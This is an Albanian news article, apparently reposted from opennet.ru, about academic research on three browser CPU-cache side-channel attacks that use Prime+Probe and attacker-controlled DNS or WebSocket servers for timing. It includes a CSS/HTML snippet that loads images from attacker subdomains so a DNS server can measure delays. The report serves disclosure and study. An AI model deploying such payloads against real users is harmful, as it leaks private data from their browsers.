Sulmi për nxjerrjen e të dhënave nga CPU cache, i realizuar në shfletuesin web pa JavaScript

Një grup studiuesish nga disa universitete amerikane, izraelite dhe australiane ka zhvilluar tre sulme funksionuese në shfletuesit web për të nxjerrë informacion rreth përmbajtjes së cache-it të procesorit. Një metodë punon në shfletuesit pa JavaScript, ndërsa dy të tjerat anashkalojnë metodat ekzistuese të mbrojtjes kundër sulmeve përmes kanaleve anësore, duke përfshirë ato të përdorura në Tor browser dhe DeterFox. Kodi për demonstruar sulmet, si dhe komponentët serverikë të nevojshëm për sulmet, janë publikuar në GitHub.

Për të analizuar përmbajtjen e cache-it në të gjitha sulmet përdoret metoda Prime+Probe, e cila përfshin mbushjen e cache-it me një grup referencash dhe përcaktimin e ndryshimeve përmes matjes së kohës së qasjes në to gjatë mbushjes së përsëritur. Për të anashkaluar mekanizmat mbrojtës të pranishëm në shfletues, të cilat pengojnë matjen e saktë të kohës, në dy variante ndodhin thirrjet në një server DNS ose WebSocket, të kontrolluar nga sulmuesi, ku regjistrohet koha e pranimit të kërkesave. Në një variant, koha e fikse e përgjigjes DNS përdoret si referencë e kohës.

Maturitë e realizuara me ndihmën e serverëve të jashtëm DNS ose WebSocket, falë përdorimit të një sistemi klasifikimi të bazuar në mësimin e makinerive, u treguan të mjaftueshme për të parashikuar vlerat me saktësi deri në 98% në skenarin më optimal (në mesatare 80-90%). Metodat e sulmit janë testuar në platforma të ndryshme harduerike (Intel, AMD Ryzen, Apple M1, Samsung Exynos) dhe treguan veten si universale.

Sulmi për nxjerrjen e të dhënave nga CPU cache, i realizuar në shfletuesin web pa JavaScript

Në variantin e parë të sulmit "DNS Racing" përdoret realizimi klasik i metodës Prime+Probe, që përdor arra JavaScript. Dallimet përfshijnë përdorimin e një timeri të jashtëm bazuar në DNS dhe të një trajtuesi onerror, që aktivizohet kur përpiqet të ngarkojë një imazh nga një domain që nuk ekziston. Timeri i jashtëm lejon realizimin e sulmit Prime+Probe në shfletuesit që kufizojnë ose plotësisht çaktivizojnë aksesin në timerat JavaScript.

Për një server DNS të vendosur në të njëjtën rrjet Ethernet, saktësia e pasqyrimit është rreth 2 ms, e mjaftueshme për të realizuar sulme përmes kanaleve të tjera (për krahasim, saktësia e timer-it standard JavaScript në Tor Browser është reduktuar në 100 ms). Për sulmin, nuk është e nevojshme të kontrollohet serveri DNS, pasi koha e ekzekutimit përshtatet në mënyrë që koha e përgjigjes nga DNS të shërbejë si një tregues i përfundimit të hershëm të verifikimit (në varësi të kësaj nëse mekanizmi onerror është aktivizuar më herët ose më vonë, arrihet një përfundim mbi shpejtësinë e operacionit të kontrollit me cache).

Metoda e dytë e sulmit "String and Sock" synon të kalojë metodat e mbrojtjes që kufizojnë përdorimin në nivel të ulët të grupeve në JavaScript. Në vend të grupeve, në "String and Sock" përdoren operacione me vargje shumë të mëdha, përmasat e të cilave zgjidhen në mënyrë që variabli të mbulojë tërë cache-n LLC (cache-n e nivelit të fundit). Më pas, me funksionin indexOf() në varg kërkohet një nënvarg e vogël, e cila fillimisht nuk ekziston në vargun origjinal, dmth, operacioni i kërkimit çon në përshkimin e të gjithë vargut. Duke qenë se përmasa e vargut përputhet me përmasën e cache-it LLC, skanimi lejon ekzekutimin e operacionit të verifikimit të cache-it pa manovrime me grupet. Për të matur vonesat, përdoret thirrja për një server WebSocket të kontrolluar nga sulmuesi – para dhe pasi përfundimit të operacionit të kërkimit në varg dërgohen kërkesa, mbi bazën e të cilave server llogaritet vonesa që përdoret për analizimin e përmbajtjes së cache-it.

Varianti i tretë i sulmit 'CSS PP0' është realizuar përmes HTML dhe CSS, dhe mund të funksionojë në shfletuesit me JavaScript të çaktivizuar. Metoda është e ngjashme me 'String and Sock', por nuk lidhet me JavaScript. Gjatë sulmit formohet një grup CSS-selektorësh që kryejnë kërkimin sipas një maske. Stringa e madhe fillestare që mbush cache-n e caktuar krijohet përmes një tag div me një emër klase shumë të madh. Brenda saj vendoset një grup div-ësh të tjerë me identifikues të tyre. Për secilin nga këta div të futur përcaktohet një stil i vet me një selektor që kryen kërkimin për substring-un. Gjatë përgatitjes së faqes, shfletuesi në fillim përpiqet të përpunojë div-ët e brendshëm, gjë që çon në kryerjen e operacionit të kërkimit në string-un e madh. Kërkimi kryhet sipas një mase që dihet se nuk ekziston dhe çon në kalimin e tërë string-ut, pas së cilës aktivizohet kushti 'not' dhe bëhet një përpjekje për të ngarkuar një imazh sfondi, që lidhet me të rastësishme. domenet: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Subdomenët shërbehen në serverin DNS të sulmuesit, i cili mund të masë vonesat në marrjen e kërkesave. Për të gjitha kërkesat, serveri DNS lëshon NXDOMAIN dhe mban një log të saktë të kohës së kërkesave. Si rezultat i përpunimit të grupit të div-ëve, në serverin DNS të sulmuesit arrin një seri kërkesash, vonesat midis të cilave korrelacione me rezultatin e kontrollit të përmbajtjes së cache-it.

Sulmi për nxjerrjen e të dhënave nga CPU cache, i realizuar në shfletuesin web pa JavaScript


Burimi: opennet.ru
Blini hosting të besueshëm për faqe interneti me mbrojtje nga DDoS, serverë VPS VDS 🔥 Blini hosting të besueshëm për faqe interneti me mbrojtje nga DDoS, serverë VPS VDS | ProHoster